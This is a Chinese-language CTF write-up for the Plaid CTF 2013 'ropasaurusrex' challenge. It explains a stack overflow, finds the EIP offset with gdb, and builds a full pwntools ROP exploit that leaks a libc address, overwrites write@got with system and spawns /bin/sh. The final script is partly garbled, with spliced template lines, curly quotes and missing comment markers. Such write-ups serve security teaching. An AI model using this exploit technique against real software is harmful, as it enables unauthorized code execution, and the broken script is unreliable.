Plaid CTF 2013 - pwn200 – ropasaurusrex
- 根据难度可以分成Level 1 ~ 5
- Level 1(原始二进制)会详细讲解
- 后面的难度自行探索
ropasaurusrex攻略(Level 1)
查看x86二进制文件
文件可以在这里下载:
http://shell-storm.org/repo/CTF/PlaidCTF-2013/Pwnable/ropasaurusrex-200/
尝试运行一下,大概像这样:
1
2
3
4$ ./ropasaurusrex
aaa
WIN
$只启用了NX
1
2
3
4
5
6
7
8$ gdb ropasaurusrex -q
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
gdb-peda$__libc_start_main
之前push的值是main()函数1
2
3
4
5
6
7
8int __libc_start_main(int (*main) (int,char**, char**),
int argc,
char **ubp_av,
void (*init) (void),
void (*fini) (void),
void (*rtld_fini) (void),
void (*stack_end)
);__libc_start_main是glibc(现代Linux标准)中,在调用main()函数之前准备各种东西的包装函数
只有两个函数
- 大致分析结果
转换成C语言代码大概是这样:
1
2
3
4
5
6
7
8
9int main(int argc, char **argv, char **envp) {
do_read();
return write(STDOUT_FILENO, "WIN\n", 4);
}
void do_read() {
char buffer[128];
read(STDIN_FILENO, buf, 256);
}很明显存在stack溢出
- 128字节的区域中读入256字节内容
溢出前后stack的状态大概是这样
- 我们使用gdb测试能否直接控制Return Address
漏洞测试
如果能够控制EIP就最好了
只需要发送大量的’A’,通过溢出应该能够覆盖返回地址
但是,在编写exploit时,需要知道具体溢出在哪个字节位置
- 单纯通过AAAA…来修改返回地址的话,并不能再换掉具体多少个字节能够控制EIP
- gcc编译优化可能存在align,导致产生偏移
- IDA的stack frame显示相对准确,但为了以防万一
通过gdb的pattern来计算出EIP的偏移
1
2
3
4
5
6
7
8
9
10
11
12$ gdb ropasaurusrex -q
gdb-peda$ pattern_create 256
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G'
gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G'
Starting program: /home/parallels/Desktop/ropasaurusrex-200/ropasaurusrex <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G'
Program received signal SIGSEGV, Segmentation fault.
...s
Program received signal SIGSEGV (fault address 0x41416d41)
gdb-peda$ pattern_offset 0x41416d41
1094806849 found at offset: 140
gdb-peda$
可以看到EIP可以被修改为任意值
- 也获取到了Return Address的偏移是140
- 140bytes + Return Address + …
- 存在预期的漏洞,可以利用
- 尝试很重要
- 能够控制EIP才能够利用漏洞
- 之后继续调试编写exploit就可以
动态调试
编写exploit前需要注意的
- 题目环境开启了ASLR(确切的说,大部分CTF都开启了ASLR)
- 也就是说,需要使用泄漏地址或者类似技术
- exploit中需要动态计算和发送地址
- 对于地址调整,如果不能用gdb动态调试就很麻烦
动态调试环境
推荐使用socat结合gdbserver
服务端(终端1)
1
2
3
4$ vi main.sh
gdbserver localhost:1234 ./ropasaurusrex
$ chmod +x main.sh
$ socat TCP-LISTEN:1025,reuseaddr,fork EXEC:"./main.sh"使用socat进行监听,如果有连接则运行gdbserver
攻击端(终端2)
1
$ python -c "print 'A'*140 + 'B'*4" | nc localhost 1025
调试端(终端3)
1
2
3
4
5$ vi cmd
file ./ropasaurusrex
target remote localhost:1234
c
$ gdb ./ropasaurusrex -q -x cmd利用gdb的远程调试功能连接到本机的gdbserver
调试
如果想要查看每一步的状态或者GOT覆盖状态,可以使用gdb设置好断点
- 建议设置在0x0804841C附近
- 因为它是ROP的开始
每次都设置断点很麻烦,可以将其写在cmd文件中
1
2
3
4
5$ vi cmd
file ./ropasaurusrex
target remote localhost:1234
b *0x0804841C
c之后按上节动态调试环境中步骤运行
- 停在了ret
- 之后将要返回的是”BBBB”(=0x42424242)
继续执行一条指令
- EIP = 0x42424242
仔细构造数据就能够ret2plt或者GOT overwrite
编写exploit
exploit模板大概是这样(使用pwntools):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
RHOST = "localhost"
RPORT = 8080
LHOST = "127.0.0.1"
LPORT = 8080
# libc = ELF('')
elf = ELF('./babyfirst-heap')
def section_addr(name, elf=elf):
return elf.get_section_by_name(name).header['sh_addr']
conn = None
if len(sys.argv) > 1:
if sys.argv[1] == 'r':
conn = remote(RHOST, RPORT)
elif sys.argv[1] == 'l':
conn = remote(LHOST, LPORT)
elif sys.argv[1] == 'd':
execute = """
# set environment LD_PRELOAD=
#b *{0}
#b *0x8048afa
ignore 2 0x0a
c
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
conn = gdb.debug(['./babyfirst-heap'], execute=execute)
else:
conn = process(['./babyfirst-heap'])
# conn = process(['./heap'], env={'LD_PRELOAD': ''})
# preparing for exploitation
log.info('Pwning')
payload = ""
conn.sendline(payload)
conn.interactive()pwntools使用方法参见官方文档及其他公开资料
信息收集
编写exploit之前需要先收集二进制地址等信息
可以使用各种命令来收集信息
调查各种PLT/GOT
$ objdump -d -M intel ropasaurusrex | grep "@plt>:" -A1
pop×N gadget 调查
1
2
3$ gdb ./ropasaurusrex –q
gdb-peda $ start
gdb-peda $ ropgadget地址固定的RW区域(.data)调查
$ readelf -S ropasaurusrex | fgrep .data
libc中的system偏移
$ ldd ropasaurusrex (首先获取使用的libc路径) $ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep "system" (在对应libc中调查)
libc_base = u(f.read(4)) - offset_write libc_system = libc_base + offset_system1
2
3
4
5
6
7
8
## 组合攻击流
1. 通过write泄漏某处GOT的地址
将write(STDOUT, got_write, 4)加载到stack上
2. 通过泄漏的地址计算出system@libc的地址#!/usr/bin/python # -*- coding: utf-8 -*-1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
3. 在某处生成字符串"/bin/sh\0"
将read(STDIN, .data, 8)加载到stack上
4. 将某个GOT重写为system@libc
将read(STDIN, got_write, 4)加载到stack上
5. 使用参数"/bin/sh"调用被修改GOT的函数
将write(.data)加载到stack上,这等价于system("/bin/sh")
也就是说,整个流程要加载到stack伤的数据如下:
![img](https://raw.githubusercontent.com/zjicmDarkWing/images/master/2019041801.jpg)
- 发送这段数据,会调用plt_write()
![img](https://raw.githubusercontent.com/zjicmDarkWing/images/master/2019041802.jpg)
- 通过plt_write()泄漏地址,攻击者可以获取4个字节
![img](https://raw.githubusercontent.com/zjicmDarkWing/images/master/2019041803.jpg)
- 根据获取的数据计算出system的地址
![img](https://raw.githubusercontent.com/zjicmDarkWing/images/master/2019041804.jpg)
- 因为二进制程序正在等待数据读取,首先准备"/bin/sh"
![img](https://raw.githubusercontent.com/zjicmDarkWing/images/master/2019041805.jpg)
- 再次读取,使用计算出的system地址重写write@got
![img](https://raw.githubusercontent.com/zjicmDarkWing/images/master/2019041806.jpg)
- 通过GOT Overwrite使得write=system,之后调用write(.data)
![img](https://raw.githubusercontent.com/zjicmDarkWing/images/master/2019041807.jpg)
- 实际调用的是system("/bin/sh"),getshell
![img](https://raw.githubusercontent.com/zjicmDarkWing/images/master/2019041808.jpg)
## exploit
最终完整exploit代码如下:
from pwn import *
context(os=’linux’, arch=’i386’)
context.log_level = ‘debug’ # output verbose log
RHOST = “localhost”
RPORT = 1025
LHOST = “127.0.0.1”
LPORT = 1025
libc = ELF(‘’)
elf = ELF(‘./ropasaurusrex’)
def section_addr(name, elf=elf):
return elf.get_section_by_name(name).header[‘sh_addr’]
conn = None
if len(sys.argv) > 1:
if sys.argv[1] == ‘r’:
conn = remote(RHOST, RPORT)
elif sys.argv[1] == ‘l’:
conn = remote(LHOST, LPORT)
if 'main' in elf.symbols.keys() else elf.entrypoint))
conn = gdb.debug(['./ropasaurusrex'], execute=execute)
else:
conn = process([‘./ropasaurusrex’])
preparing for exploitation
write_plt = 0x0804830c
read_plt = 0x0804832c
pop3ret = 0x80484b6
write_got = 0x8049614
read_got = 0x804961c
data = 0x08049620
system_offset = 0x0003d200
write_offset = 0x000e6d80
log.info(‘Pwning’)
buf = ‘A’ * 140
write(STDOUT, got_write, 4)
buf += p32(write_plt) + p32(pop3ret) + p32(1) + p32(write_got) + p32(4)
read(STDIN, data, 8)
buf += p32(read_plt) + p32(pop3ret) + p32(0) +p32(data) + p32(8)
read(STDIN, got_write, 4)
buf += p32(read_plt) + p32(pop3ret) + p32(0) + p32(write_got) + p32(4)
write(data) # system(“/bin/sh”)
buf += p32(write_plt) + p32(0xdeadbeef) + p32(data)
conn.sendline(buf)
ret = u32(conn.recv())
print(‘write@got: {}’.format(hex(ret)))
print(‘libc_start: {}’.format(hex(ret - write_offset)))
system_addr = ret - write_offset + system_offset
print(‘system: {}’.format(hex(system_addr)))
conn.send(‘/bin/sh’+’\x00’)
buf = p32(system_addr)
conn.send(buf)
conn.interactive()
按照上述动态调试环境测试运行,pwned:
{% image https://raw.githubusercontent.com/zjicmDarkWing/images/master/2019041901.jpg 'img' '' %}